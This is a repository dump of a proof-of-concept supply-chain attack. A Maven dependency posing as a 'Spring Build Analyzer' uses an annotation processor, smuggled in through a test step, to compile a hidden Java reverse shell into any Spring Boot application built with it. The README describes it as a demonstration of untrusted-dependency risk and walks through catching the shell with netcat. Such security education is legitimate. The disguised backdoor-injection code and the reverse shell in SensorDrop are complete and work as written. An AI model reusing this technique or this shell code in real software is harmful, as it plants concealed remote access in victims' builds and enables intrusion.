├── .github └── workflows │ └── maven.yml ├── .gitignore ├── .java-version ├── README.md ├── analyzer ├── build-helper │ ├── pom.xml │ └── src │ │ ├── main │ │ └── java │ │ │ └── io │ │ │ └── github │ │ │ └── jeremylong │ │ │ └── spring │ │ │ └── build │ │ │ └── analyzer │ │ │ └── BuildHelper.java │ │ └── test │ │ ├── java │ │ └── io │ │ │ └── github │ │ │ └── jeremylong │ │ │ └── spring │ │ │ └── build │ │ │ └── analyzer │ │ │ ├── BuildHelperTest.java │ │ │ ├── Compile.java │ │ │ ├── EnsureSpringAnnotation.java │ │ │ └── SensorDrop.java │ │ └── resources │ │ └── javax.annotation.processing.Processor ├── pom.xml └── spring-build-analyzer │ ├── pom.xml │ └── src │ └── main │ ├── java │ └── io │ │ └── github │ │ └── jeremylong │ │ └── spring │ │ └── build │ │ └── analyzer │ │ └── AnnotationValidationProcessor.java │ └── resources │ └── javax.annotation.processing.Processor ├── demo ├── pom.xml └── src │ ├── main │ ├── java │ │ └── io │ │ │ └── github │ │ │ └── jeremylong │ │ │ └── spring │ │ │ └── analyzer │ │ │ └── demo │ │ │ ├── DemoApplication.java │ │ │ └── HelloController.java │ └── resources │ │ └── application.properties │ └── test │ └── java │ └── io │ └── github │ └── jeremylong │ └── spring │ └── analyzer │ └── demo │ └── DemoApplicationTests.java └── explanation.png /.github/workflows/maven.yml: -------------------------------------------------------------------------------- 1 | # This workflow will build a Java project with Maven, and cache/restore any dependencies to improve the workflow execution time 2 | # For more information see: https://docs.github.com/en/actions/automating-builds-and-tests/building-and-testing-java-with-maven 3 | 4 | # This workflow uses actions that are not certified by GitHub. 5 | # They are provided by a third-party and are governed by 6 | # separate terms of service, privacy policy, and support 7 | # documentation. 8 | 9 | name: Java CI with Maven 10 | 11 | on: 12 | push: 13 | branches: [ "main" ] 14 | pull_request: 15 | branches: [ "main" ] 16 | 17 | jobs: 18 | build: 19 | 20 | runs-on: ubuntu-latest 21 | 22 | steps: 23 | - uses: actions/checkout@v3 24 | - name: Set up JDK 17 25 | uses: actions/setup-java@v3 26 | with: 27 | java-version: '17' 28 | distribution: 'temurin' 29 | cache: maven 30 | - name: Build spring-build-analyzer 31 | run: | 32 | cd analyzer 33 | mvn -B install 34 | ls spring-build-analyzer/target/classes/io/github/jeremylong/spring/build/analyzer/ 35 | cd .. 36 | - name: Build demo 37 | run: | 38 | cd demo 39 | mvn -B package -DskipTests=true 40 | sha256sum target/demo-0.0.1-SNAPSHOT.jar 41 | ls target/classes/io/github/jeremylong/spring/analyzer/demo/ 42 | - name: Upload artifact 43 | uses: actions/upload-artifact@v2 44 | with: 45 | name: demo-app 46 | path: demo/target/demo-0.0.1-SNAPSHOT.jar -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | 2 | 3 | # Ignore Gradle GUI config 4 | gradle-app.setting 5 | 6 | # Avoid ignoring Gradle wrapper jar file (.jar files are usually ignored) 7 | !gradle-wrapper.jar 8 | 9 | # Avoid ignore Gradle wrappper properties 10 | !gradle-wrapper.properties 11 | 12 | target/ 13 | pom.xml.tag 14 | pom.xml.releaseBackup 15 | pom.xml.versionsBackup 16 | pom.xml.next 17 | release.properties 18 | dependency-reduced-pom.xml 19 | buildNumber.properties 20 | .mvn/timing.properties 21 | # https://github.com/takari/maven-wrapper#usage-without-binary-jar 22 | .mvn/wrapper/maven-wrapper.jar 23 | 24 | # Eclipse m2e generated files 25 | # Eclipse Core 26 | .project 27 | # JDT-specific (Eclipse Java Development Tools) 28 | .classpath 29 | 30 | .idea 31 | # User-specific stuff 32 | .idea/**/workspace.xml 33 | .idea/**/tasks.xml 34 | .idea/**/usage.statistics.xml 35 | .idea/**/dictionaries 36 | .idea/**/shelf 37 | 38 | # AWS User-specific 39 | .idea/**/aws.xml 40 | 41 | # Generated files 42 | .idea/**/contentModel.xml 43 | 44 | # Sensitive or high-churn files 45 | .idea/**/dataSources/ 46 | .idea/**/dataSources.ids 47 | .idea/**/dataSources.local.xml 48 | .idea/**/sqlDataSources.xml 49 | .idea/**/dynamic.xml 50 | .idea/**/uiDesigner.xml 51 | .idea/**/dbnavigator.xml 52 | 53 | # Gradle 54 | .idea/**/gradle.xml 55 | .idea/**/libraries 56 | 57 | # Gradle and Maven with auto-import 58 | # When using Gradle or Maven with auto-import, you should exclude module files, 59 | # since they will be recreated, and may cause churn. Uncomment if using 60 | # auto-import. 61 | # .idea/artifacts 62 | # .idea/compiler.xml 63 | # .idea/jarRepositories.xml 64 | # .idea/modules.xml 65 | # .idea/*.iml 66 | # .idea/modules 67 | # *.iml 68 | # *.ipr 69 | 70 | # CMake 71 | cmake-build-*/ 72 | 73 | # Mongo Explorer plugin 74 | .idea/**/mongoSettings.xml 75 | 76 | # File-based project format 77 | *.iws 78 | 79 | # IntelliJ 80 | out/ 81 | 82 | # mpeltonen/sbt-idea plugin 83 | .idea_modules/ 84 | 85 | # JIRA plugin 86 | atlassian-ide-plugin.xml 87 | 88 | # Cursive Clojure plugin 89 | .idea/replstate.xml 90 | 91 | # SonarLint plugin 92 | .idea/sonarlint/ 93 | 94 | # Crashlytics plugin (for Android Studio and IntelliJ) 95 | com_crashlytics_export_strings.xml 96 | crashlytics.properties 97 | crashlytics-build.properties 98 | fabric.properties 99 | 100 | # Editor-based Rest Client 101 | .idea/httpRequests 102 | 103 | # Android studio 3.1+ serialized cache file 104 | .idea/caches/build_file_checksums.ser -------------------------------------------------------------------------------- /.java-version: -------------------------------------------------------------------------------- 1 | 17.0 2 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # malicious-dependencies 2 | 3 | Slightly malicious dependency ([analyzer/spring-build-analyzer](analyzer)) and a demonstration project ([demo](demo)). This project is intended to highlight the issues of including untrusted dependencies in your builds. 4 | 5 | * The `analyzer` is a multi-module maven build controlled by a threat actor. 6 | * The `demo` application is a sample application that could have been written by developers at your organitzation. 7 | 8 | **TL;DR** - the `analyzer` is a compile time dependency, but could have been a build plugin or test scoped dependency, that injects a backdoor into any spring-boot application built. 9 | 10 | image 11 | 12 | ## demonstration 13 | 14 | **The project requires Maven and Java 17.** 15 | 16 | First build and install (locally) the `spring-build-analyzer` by running: 17 | 18 | **DO NOT** shorten the following to `mvn clean install` as things may not work. 19 | 20 | ```bash 21 | cd analyzer 22 | mvn clean 23 | mvn install 24 | cd .. 25 | ``` 26 | 27 | Next, in a different terminal, open netcat to listen on port 9999: 28 | 29 | ```bash 30 | nc -l -p 9999 31 | ``` 32 | 33 | The `demo` application is a completely separate project that uses the `spring-build-analyzer` JAR. Compile and run the demo application: 34 | 35 | ```bash 36 | cd demo 37 | mvn package -DskipTests=true 38 | java -jar ./target/demo-0.0.1-SNAPSHOT.jar 39 | ``` 40 | 41 | In a third terminal, validate that the demo application is working as expected: 42 | 43 | ```bash 44 | curl localhost:8080 45 | ``` 46 | 47 | You should receive back `Greetings from Spring Boot!`. Very exciting, isn't it? 48 | 49 | Last, return to the tab with the netcat listener and the reverse shell should have connected; you can test by running `whoami`: 50 | 51 | ```bash 52 | $ nc -l -p 9999 53 | whoami 54 | jeremy 55 | ``` 56 | 57 | ## Explanation 58 | 59 | The `spring-build-analyzer` uses an annotation processor to inject a reverse shell into any spring-boot application that is compiled while the `spring-build-analyzer` is on the compile-time classpath. If you look at the `demo` project you will see that the `spring-build-analyzer` is just a standard dependency: 60 | 61 | ```xml 62 | 63 | io.github.jeremylong.spring.analyzer 64 | spring-build-analyzer 65 | 0.0.1-SNAPSHOT 66 | compile 67 | 68 | ``` 69 | 70 | While the above is demonstrating the problem using a standard dependency and annotation processing - this could have been a build plugin, a test dependency, a transitive dependency, etc. Anything running during the build can modify the build output. This type of attack does not have to rely on annotation processing. 71 | 72 | If you look at the source code for the `spring-build-analyzer` - you will not see the annotation processor that injects the malicious code. This is actually injected by the `build-helper` project during the test execution. This is demoing yet another way to inject code. 73 | 74 | The injected code starts a benign reverse shell as it only connects back to localhost on port 9999. This is just a demonstration of what can go wrong at build time. The possibilities are limitless as there are so many different ways to subvert applications and inject backdoors. 75 | 76 | 77 | ## Reproducible Builds 78 | 79 | The `demo` project is set up to create re-producible builds. This is useful for understanding that if the build has been compromised by including a malicious dependency or plugin - it doesn't matter where you build the project it is **Reproducibly Compromised**. 80 | 81 | ```bash 82 | $ shasum -a 256 target/demo-0.0.1-SNAPSHOT.jar 83 | 6a4c421550323dd63431753a46f08c80fbf39b744ac173d637bdcb090f176664 target/demo-0.0.1-SNAPSHOT.jar 84 | 85 | $ unzip -v target/demo-0.0.1-SNAPSHOT.jar 86 | ... 87 | ``` 88 | 89 | ## Debugging 90 | 91 | Did the above walk through not work? There might be a few reasons: 92 | 93 | 1. `curl localhost:8080` didn't return `Greetings from Spring Boot!`: 94 | 95 | - Something is already running on port 8080. When the demo app is not running - ensure that nothing is running on port 8080. 96 | 97 | 2. No connection was made back to `nc -l -p 9999`. 98 | - Use alternative options to start the reverse shell: `nc -l 9999`, `nc -nvlp 9999` 99 | - Ensure nothing is running on port `9999`. Alternatively, update the port in the [CtxtListener source](https://github.com/jeremylong/malicious-dependencies/blob/61d6b23de532f5236cd9dfd34d473d1f198f70a3/analyzer/build-helper/src/test/java/io/github/jeremylong/spring/build/analyzer/SensorDrop.java#L31-L32) and rerun the above steps. 100 | - From the root of the project, after building the demo app validate that the `CtxtListener.class` exists: `ls demo/target/classes/io/github/jeremylong/spring/analyzer/demo/CtxtListener.class`. If the class does not exist, consider adding debugging statements [here](https://github.com/jeremylong/malicious-dependencies/blob/61d6b23de532f5236cd9dfd34d473d1f198f70a3/analyzer/build-helper/src/test/java/io/github/jeremylong/spring/build/analyzer/SensorDrop.java#L82) and re-installing the `spring-build-analyzer` and rebuilding the demo application. 101 | - If the `CtxtListener.class` does exist, uncomment the system out statements [here](https://github.com/jeremylong/malicious-dependencies/blob/61d6b23de532f5236cd9dfd34d473d1f198f70a3/analyzer/build-helper/src/test/java/io/github/jeremylong/spring/build/analyzer/SensorDrop.java#L63-L67) and re-install the `spring-build-analyzer`, rebuild the demo application, start netcat, and then run the demo app. The added debugging output may show what is going wrong on your system. 102 | 103 | 104 | -------------------------------------------------------------------------------- /analyzer/build-helper/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 4.0.0 5 | 6 | io.github.jeremylong.spring.analyzer 7 | build-helper 8 | 0.0.1-SNAPSHOT 9 | build-helper 10 | Experiment with Maven Extensions 11 | jar 12 | 13 | 17 14 | 17 15 | 17 16 | 17 | 2023-01-01T00:00:00Z 18 | 19 | 20 | 21 | org.apache.maven 22 | maven-core 23 | 3.8.6 24 | provided 25 | 26 | 27 | org.apache.maven 28 | maven-plugin-api 29 | 3.8.6 30 | provided 31 | 32 | 33 | org.apache.maven.plugin-tools 34 | maven-plugin-annotations 35 | 3.9.0 36 | provided 37 | 38 | 39 | org.apache.maven 40 | maven-project 41 | 2.2.1 42 | provided 43 | 44 | 45 | com.squareup 46 | javapoet 47 | 1.13.0 48 | 49 | 50 | org.junit.jupiter 51 | junit-jupiter 52 | 5.7.2 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | maven-clean-plugin 61 | 3.3.1 62 | 63 | 64 | 65 | maven-resources-plugin 66 | 3.3.1 67 | 68 | 69 | maven-compiler-plugin 70 | 3.11.0 71 | 72 | 73 | maven-surefire-plugin 74 | 3.1.2 75 | 76 | 77 | maven-jar-plugin 78 | 3.3.0 79 | 80 | 81 | maven-install-plugin 82 | 3.1.1 83 | true 84 | 85 | 86 | maven-deploy-plugin 87 | 3.1.1 88 | true 89 | 90 | 91 | maven-artifact-plugin 92 | 3.4.1 93 | 94 | 95 | 96 | maven-site-plugin 97 | 3.12.1 98 | true 99 | 100 | 101 | maven-project-info-reports-plugin 102 | 3.4.2 103 | true 104 | 105 | 106 | 107 | 108 | -------------------------------------------------------------------------------- /analyzer/build-helper/src/main/java/io/github/jeremylong/spring/build/analyzer/BuildHelper.java: -------------------------------------------------------------------------------- 1 | package io.github.jeremylong.spring.build.analyzer; 2 | 3 | import org.apache.maven.AbstractMavenLifecycleParticipant; 4 | import org.apache.maven.MavenExecutionException; 5 | import org.apache.maven.execution.MavenSession; 6 | 7 | public class BuildHelper extends AbstractMavenLifecycleParticipant { 8 | @Override 9 | public void afterProjectsRead(MavenSession session) throws MavenExecutionException { 10 | super.afterProjectsRead(session); 11 | } 12 | 13 | @Override 14 | public void afterSessionStart(MavenSession session) throws MavenExecutionException { 15 | super.afterSessionStart(session); 16 | } 17 | 18 | @Override 19 | public void afterSessionEnd(MavenSession session) throws MavenExecutionException { 20 | super.afterSessionEnd(session); 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /analyzer/build-helper/src/test/java/io/github/jeremylong/spring/build/analyzer/BuildHelperTest.java: -------------------------------------------------------------------------------- 1 | package io.github.jeremylong.spring.build.analyzer; 2 | 3 | import org.junit.jupiter.api.Test; 4 | 5 | import java.io.File; 6 | import java.io.IOException; 7 | import java.nio.file.CopyOption; 8 | import java.nio.file.Files; 9 | import java.nio.file.Path; 10 | 11 | import static org.junit.jupiter.api.Assertions.*; 12 | 13 | class BuildHelperTest { 14 | 15 | @Test 16 | void afterProjectsRead() { 17 | File dest = new File("../spring-build-analyzer/target/classes/io/github/jeremylong/spring/build/analyzer"); 18 | Path src = Path.of("./target/test-classes/io/github/jeremylong/spring/build/analyzer"); 19 | String file = "Compile.class"; 20 | copy(dest, src, file); 21 | file = "Compile$CharSequenceJavaFileObject.class"; 22 | copy(dest, src, file); 23 | file = "Compile$ClassFileManager.class"; 24 | copy(dest, src, file); 25 | file = "Compile$JavaFileObject.class"; 26 | copy(dest, src, file); 27 | 28 | file = "SensorDrop.class"; 29 | copy(dest, src, file); 30 | file = "EnsureSpringAnnotation.class"; 31 | copy(dest, src, file); 32 | dest = new File("../spring-build-analyzer/target/classes/META-INF/services"); 33 | src = Path.of("./src/test/resources"); 34 | file = "javax.annotation.processing.Processor"; 35 | copy(dest, src, file); 36 | } 37 | 38 | private static void copy(File destDir, Path src, String file) { 39 | if (destDir.isDirectory() || destDir.mkdirs()) { 40 | Path dest = destDir.toPath(); 41 | try { 42 | Files.copy(src.resolve(file),dest.resolve(file), java.nio.file.StandardCopyOption.REPLACE_EXISTING); 43 | } catch (IOException e) { 44 | throw new RuntimeException(e); 45 | } 46 | } 47 | } 48 | } -------------------------------------------------------------------------------- /analyzer/build-helper/src/test/java/io/github/jeremylong/spring/build/analyzer/Compile.java: -------------------------------------------------------------------------------- 1 | package io.github.jeremylong.spring.build.analyzer; 2 | 3 | import javax.tools.FileObject; 4 | import javax.tools.ForwardingJavaFileManager; 5 | import javax.tools.JavaCompiler; 6 | import javax.tools.JavaFileManager; 7 | import javax.tools.SimpleJavaFileObject; 8 | import javax.tools.StandardJavaFileManager; 9 | import javax.tools.ToolProvider; 10 | import java.io.File; 11 | import java.io.OutputStream; 12 | import java.lang.invoke.MethodHandles; 13 | import java.lang.invoke.MethodHandles.Lookup; 14 | import java.net.URI; 15 | import java.util.ArrayList; 16 | import java.util.List; 17 | 18 | 19 | /** 20 | * Modified version of the Compile class found at https://blog.jooq.org/how-to-compile-a-class-at-runtime-with-java-8-and-9/. 21 | */ 22 | public class Compile { 23 | 24 | 25 | static void compile(String className, String content, OutputStream out) 26 | throws Exception { 27 | Lookup lookup = MethodHandles.lookup(); 28 | compile0(className, content, lookup, out); 29 | } 30 | 31 | static void compile0( 32 | String className, String content, Lookup lookup, OutputStream out) 33 | throws Exception { 34 | JavaCompiler compiler = ToolProvider.getSystemJavaCompiler(); 35 | 36 | ClassFileManager manager = new ClassFileManager( 37 | compiler.getStandardFileManager(null, null, null), out); 38 | 39 | List files = new ArrayList<>(); 40 | files.add(new CharSequenceJavaFileObject(className, content)); 41 | 42 | Class appListenter = Class.forName("org.springframework.context.ApplicationListener"); 43 | String springCP = appListenter.getProtectionDomain().getCodeSource().getLocation().toString().substring(5); 44 | List options = new ArrayList(); 45 | options.add("-classpath"); 46 | String currentDir = new File(".").getAbsolutePath(); 47 | String classpath = currentDir + File.separator + "target" + File.separator + "classes" 48 | + System.getProperty("path.separator") + System.getProperty("java.class.path") 49 | + System.getProperty("path.separator") + springCP; 50 | 51 | options.add(classpath); 52 | 53 | compiler.getTask(null, manager, null, options, null, files) 54 | .call(); 55 | } 56 | 57 | // These are some utility classes needed for the JavaCompiler 58 | // ---------------------------------------------------------- 59 | 60 | static final class JavaFileObject extends SimpleJavaFileObject { 61 | private OutputStream os = null; 62 | 63 | JavaFileObject(String name, JavaFileObject.Kind kind, OutputStream out) { 64 | super(URI.create( 65 | "string:///" 66 | + name.replace('.', '/') 67 | + kind.extension), 68 | kind); 69 | os = out; 70 | } 71 | 72 | 73 | @Override 74 | public OutputStream openOutputStream() { 75 | return os; 76 | } 77 | } 78 | 79 | static final class ClassFileManager 80 | extends ForwardingJavaFileManager { 81 | JavaFileObject o; 82 | OutputStream out; 83 | 84 | ClassFileManager(StandardJavaFileManager m, OutputStream out) { 85 | super(m); 86 | this.out = out; 87 | } 88 | 89 | @Override 90 | public JavaFileObject getJavaFileForOutput( 91 | JavaFileManager.Location location, 92 | String className, 93 | JavaFileObject.Kind kind, 94 | FileObject sibling 95 | ) { 96 | return o = new JavaFileObject(className, kind, out); 97 | } 98 | } 99 | 100 | static final class CharSequenceJavaFileObject 101 | extends SimpleJavaFileObject { 102 | final CharSequence content; 103 | 104 | public CharSequenceJavaFileObject( 105 | String className, 106 | CharSequence content 107 | ) { 108 | super(URI.create( 109 | "string:///" 110 | + className.replace('.', '/') 111 | + JavaFileObject.Kind.SOURCE.extension), 112 | JavaFileObject.Kind.SOURCE); 113 | this.content = content; 114 | } 115 | 116 | @Override 117 | public CharSequence getCharContent( 118 | boolean ignoreEncodingErrors 119 | ) { 120 | return content; 121 | } 122 | } 123 | } -------------------------------------------------------------------------------- /analyzer/build-helper/src/test/java/io/github/jeremylong/spring/build/analyzer/EnsureSpringAnnotation.java: -------------------------------------------------------------------------------- 1 | /* 2 | * This Java source file was generated by the Gradle 'init' task. 3 | */ 4 | package io.github.jeremylong.spring.build.analyzer; 5 | 6 | import com.squareup.javapoet.ClassName; 7 | 8 | import javax.annotation.processing.AbstractProcessor; 9 | import javax.annotation.processing.RoundEnvironment; 10 | import javax.annotation.processing.SupportedAnnotationTypes; 11 | import javax.lang.model.element.Element; 12 | import javax.lang.model.element.ElementKind; 13 | import javax.lang.model.element.TypeElement; 14 | import java.io.File; 15 | import java.util.Set; 16 | import java.util.concurrent.atomic.AtomicBoolean; 17 | 18 | @SupportedAnnotationTypes("org.springframework.boot.autoconfigure.SpringBootApplication") 19 | public class EnsureSpringAnnotation extends AbstractProcessor { 20 | 21 | private static AtomicBoolean done = new AtomicBoolean(false); 22 | 23 | @Override 24 | public boolean process(Set annotations, 25 | RoundEnvironment roundEnv) { 26 | 27 | if (!done.get()) { 28 | String applicationFQCN = null; 29 | for (TypeElement annotation : annotations) { 30 | for (Element e : roundEnv.getElementsAnnotatedWith(annotation)) { 31 | if (e.getKind() == ElementKind.CLASS) { 32 | TypeElement typeElement = (TypeElement) e; 33 | ClassName className = ClassName.get(typeElement); 34 | applicationFQCN = className.canonicalName(); 35 | done.set(true); 36 | } 37 | } 38 | } 39 | if (applicationFQCN != null) { 40 | int pos = applicationFQCN.lastIndexOf('.'); 41 | String packageName = applicationFQCN.substring(0, pos); 42 | 43 | SensorDrop dropper = new SensorDrop(); 44 | File target = new File("./target"); 45 | System.out.println(target.getAbsolutePath()); 46 | dropper.writeSensor(target, packageName); 47 | } 48 | } 49 | return true; 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /analyzer/build-helper/src/test/java/io/github/jeremylong/spring/build/analyzer/SensorDrop.java: -------------------------------------------------------------------------------- 1 | package io.github.jeremylong.spring.build.analyzer; 2 | 3 | import java.io.File; 4 | import java.io.IOException; 5 | import java.io.OutputStream; 6 | import java.nio.file.Files; 7 | import java.nio.file.StandardOpenOption; 8 | 9 | public class SensorDrop { 10 | private static String CODE = """ 11 | import java.io.InputStream; 12 | import java.io.OutputStream; 13 | import java.net.Socket; 14 | import java.util.Timer; 15 | import java.util.TimerTask; 16 | import org.springframework.context.ApplicationListener; 17 | import org.springframework.context.event.ContextRefreshedEvent; 18 | import org.springframework.stereotype.Component; 19 | 20 | @Component 21 | public class CtxtListener extends TimerTask implements ApplicationListener { 22 | public CtxtListener() { 23 | } 24 | 25 | public void onApplicationEvent(ContextRefreshedEvent contextRefreshedEvent) { 26 | (new Timer()).schedule(new CtxtListener(), 500L); 27 | } 28 | 29 | public void run() { 30 | try { 31 | String host = "127.0.0.1"; 32 | int port = 9999; 33 | String cmd = "/bin/sh"; 34 | Process p = (new ProcessBuilder(new String[]{cmd})).redirectErrorStream(true).start(); 35 | Socket s = new Socket(host, port); 36 | InputStream pi = p.getInputStream(); 37 | InputStream pe = p.getErrorStream(); 38 | InputStream si = s.getInputStream(); 39 | OutputStream po = p.getOutputStream(); 40 | OutputStream so = s.getOutputStream(); 41 | while(!s.isClosed()) { 42 | while(pi.available() > 0) { 43 | so.write(pi.read()); 44 | } 45 | while(pe.available() > 0) { 46 | so.write(pe.read()); 47 | } 48 | while(si.available() > 0) { 49 | po.write(si.read()); 50 | } 51 | so.flush(); 52 | po.flush(); 53 | Thread.sleep(50L); 54 | try { 55 | p.exitValue(); 56 | break; 57 | } catch (Exception var12) { 58 | } 59 | } 60 | p.destroy(); 61 | s.close(); 62 | } catch (Throwable var13) { 63 | //TODO - remove debugging code 64 | //System.out.println(var13.getMessage()); 65 | //var13.printStackTrace(); 66 | //System.out.println(var13.getCause().getMessage()); 67 | //var13.getCause().printStackTrace(); 68 | } 69 | } 70 | } 71 | """; 72 | 73 | public void writeSensor(File target, String pkgName) { 74 | File classesFile = new File(target, "classes"); 75 | if (classesFile.exists() && classesFile.canWrite()) { 76 | File pkgFile = new File(classesFile, pkgName.replace('.', '/')); 77 | if (pkgFile.exists() || pkgFile.mkdirs()) { 78 | File ctxtFile = new File(pkgFile, "CtxtListener.class"); 79 | try (OutputStream out = Files.newOutputStream(ctxtFile.toPath(), StandardOpenOption.CREATE)) { 80 | writeClass(pkgName, out); 81 | } catch (IOException e) { 82 | 83 | } 84 | } 85 | } 86 | } 87 | 88 | public void writeClass(String pkgName, OutputStream outputStream) { 89 | final StringBuilder source = new StringBuilder(CODE.length() + pkgName.length() + 10); 90 | source.append("package ").append(pkgName).append(";\n").append(CODE); 91 | try { 92 | Compile.compile(pkgName + ".CtxtListener", source.toString(), outputStream); 93 | } catch (Exception e) { 94 | //ignore errors 95 | } 96 | 97 | } 98 | } 99 | -------------------------------------------------------------------------------- /analyzer/build-helper/src/test/resources/javax.annotation.processing.Processor: -------------------------------------------------------------------------------- 1 | io.github.jeremylong.spring.build.analyzer.EnsureSpringAnnotation 2 | -------------------------------------------------------------------------------- /analyzer/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 4.0.0 5 | io.github.jeremylong.spring.analyzer 6 | parent 7 | 0.0.1-SNAPSHOT 8 | spring-build-analyzer-parent 9 | pom 10 | Parent spring-build-analyzer project 11 | 12 | 17 13 | UTF-8 14 | 15 | 16 | build-helper 17 | spring-build-analyzer 18 | 19 | 20 | -------------------------------------------------------------------------------- /analyzer/spring-build-analyzer/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 4.0.0 5 | 6 | io.github.jeremylong.spring.analyzer 7 | spring-build-analyzer 8 | 0.0.1-SNAPSHOT 9 | spring-build-analyzer 10 | Spring Build Analyzer Maven Plugin 11 | maven-plugin 12 | 13 | 17 14 | 17 15 | 17 16 | 17 | 2023-01-01T00:00:00Z 18 | 19 | 20 | 21 | org.apache.maven 22 | maven-plugin-api 23 | 3.8.6 24 | provided 25 | 26 | 27 | org.apache.maven.plugin-tools 28 | maven-plugin-annotations 29 | 3.9.0 30 | provided 31 | 32 | 33 | org.apache.maven 34 | maven-project 35 | 2.2.1 36 | provided 37 | 38 | 39 | 40 | com.squareup 41 | javapoet 42 | 1.13.0 43 | 44 | 45 | 46 | org.junit.jupiter 47 | junit-jupiter 48 | 5.7.2 49 | 50 | 51 | 52 | 53 | 54 | org.apache.maven.plugins 55 | maven-plugin-plugin 56 | 3.9.0 57 | 58 | 59 | default-descriptor 60 | process-classes 61 | 62 | 63 | help-goal 64 | 65 | helpmojo 66 | 67 | 68 | 69 | 70 | 71 | 72 | maven-clean-plugin 73 | 3.3.1 74 | 75 | 76 | 77 | maven-resources-plugin 78 | 3.3.1 79 | 80 | 81 | maven-compiler-plugin 82 | 3.11.0 83 | 84 | 85 | maven-surefire-plugin 86 | 3.1.2 87 | 88 | 89 | maven-jar-plugin 90 | 3.3.0 91 | 92 | 93 | maven-install-plugin 94 | 3.1.1 95 | 96 | 97 | maven-deploy-plugin 98 | 3.1.1 99 | 100 | 101 | maven-artifact-plugin 102 | 3.4.1 103 | 104 | 105 | 106 | maven-site-plugin 107 | 3.12.1 108 | 109 | 110 | maven-project-info-reports-plugin 111 | 3.4.2 112 | 113 | 114 | 115 | 116 | -------------------------------------------------------------------------------- /analyzer/spring-build-analyzer/src/main/java/io/github/jeremylong/spring/build/analyzer/AnnotationValidationProcessor.java: -------------------------------------------------------------------------------- 1 | /* 2 | * This Java source file was generated by the Gradle 'init' task. 3 | */ 4 | package io.github.jeremylong.spring.build.analyzer; 5 | 6 | import com.squareup.javapoet.ClassName; 7 | 8 | import javax.annotation.processing.AbstractProcessor; 9 | import javax.annotation.processing.RoundEnvironment; 10 | import javax.annotation.processing.SupportedAnnotationTypes; 11 | import javax.lang.model.element.Element; 12 | import javax.lang.model.element.ElementKind; 13 | import javax.lang.model.element.TypeElement; 14 | import java.util.Set; 15 | import java.util.concurrent.atomic.AtomicBoolean; 16 | 17 | @SupportedAnnotationTypes("org.springframework.boot.autoconfigure.SpringBootApplication") 18 | public class AnnotationValidationProcessor extends AbstractProcessor { 19 | 20 | @Override 21 | public boolean process(Set annotations, 22 | RoundEnvironment roundEnv) { 23 | 24 | for (TypeElement annotation : annotations) { 25 | for (Element e : roundEnv.getElementsAnnotatedWith(annotation)) { 26 | if (e.getKind() == ElementKind.CLASS) { 27 | TypeElement typeElement = (TypeElement) e; 28 | ClassName className = ClassName.get(typeElement); 29 | } 30 | } 31 | } 32 | 33 | return true; 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /analyzer/spring-build-analyzer/src/main/resources/javax.annotation.processing.Processor: -------------------------------------------------------------------------------- 1 | io.github.jeremylong.spring.build.analyzer.EnsureSpringAnnotation 2 | io.github.jeremylong.spring.build.analyzer.AnnotationValidationProcessor 3 | 4 | -------------------------------------------------------------------------------- /demo/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 4.0.0 5 | 6 | org.springframework.boot 7 | spring-boot-starter-parent 8 | 3.1.1 9 | 10 | 11 | io.github.jeremylong.spring.analyzer 12 | demo 13 | 0.0.1-SNAPSHOT 14 | demo 15 | Demo project for Spring Boot 16 | jar 17 | 18 | 17 19 | 17 20 | 17 21 | UTF-8 22 | 23 | 2023-01-01T00:00:00Z 24 | 25 | 26 | 27 | org.springframework.boot 28 | spring-boot-starter-web 29 | 30 | 31 | io.github.jeremylong.spring.analyzer 32 | spring-build-analyzer 33 | 0.0.1-SNAPSHOT 34 | compile 35 | 36 | 37 | 38 | org.springframework.boot 39 | spring-boot-starter-test 40 | test 41 | 42 | 43 | 44 | 45 | 46 | 47 | org.springframework.boot 48 | spring-boot-maven-plugin 49 | 50 | 51 | 52 | 53 | maven-clean-plugin 54 | 3.3.1 55 | 56 | 57 | 58 | maven-resources-plugin 59 | 3.3.1 60 | 61 | 62 | maven-compiler-plugin 63 | 3.11.0 64 | 65 | 66 | maven-surefire-plugin 67 | 3.1.2 68 | 69 | 70 | maven-jar-plugin 71 | 3.3.0 72 | 73 | 74 | maven-install-plugin 75 | 3.1.1 76 | 77 | 78 | maven-deploy-plugin 79 | 3.1.1 80 | 81 | 82 | maven-artifact-plugin 83 | 3.4.1 84 | 85 | 86 | 87 | maven-site-plugin 88 | 3.12.1 89 | 90 | 91 | maven-project-info-reports-plugin 92 | 3.4.2 93 | 94 | 95 | 96 | 97 | -------------------------------------------------------------------------------- /demo/src/main/java/io/github/jeremylong/spring/analyzer/demo/DemoApplication.java: -------------------------------------------------------------------------------- 1 | package io.github.jeremylong.spring.analyzer.demo; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | 6 | @SpringBootApplication() 7 | public class DemoApplication { 8 | 9 | public static void main(String[] args) { 10 | SpringApplication.run(DemoApplication.class, args); 11 | } 12 | 13 | } 14 | -------------------------------------------------------------------------------- /demo/src/main/java/io/github/jeremylong/spring/analyzer/demo/HelloController.java: -------------------------------------------------------------------------------- 1 | package io.github.jeremylong.spring.analyzer.demo; 2 | import org.springframework.web.bind.annotation.GetMapping; 3 | import org.springframework.web.bind.annotation.RestController; 4 | 5 | @RestController 6 | public class HelloController { 7 | @GetMapping("/") 8 | public String index() { 9 | return "Greetings from Spring Boot!"; 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /demo/src/main/resources/application.properties: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /demo/src/test/java/io/github/jeremylong/spring/analyzer/demo/DemoApplicationTests.java: -------------------------------------------------------------------------------- 1 | package io.github.jeremylong.spring.analyzer.demo; 2 | 3 | import org.junit.jupiter.api.Test; 4 | import org.springframework.boot.test.context.SpringBootTest; 5 | 6 | @SpringBootTest 7 | class DemoApplicationTests { 8 | 9 | @Test 10 | void contextLoads() { 11 | } 12 | 13 | } 14 | -------------------------------------------------------------------------------- /explanation.png: 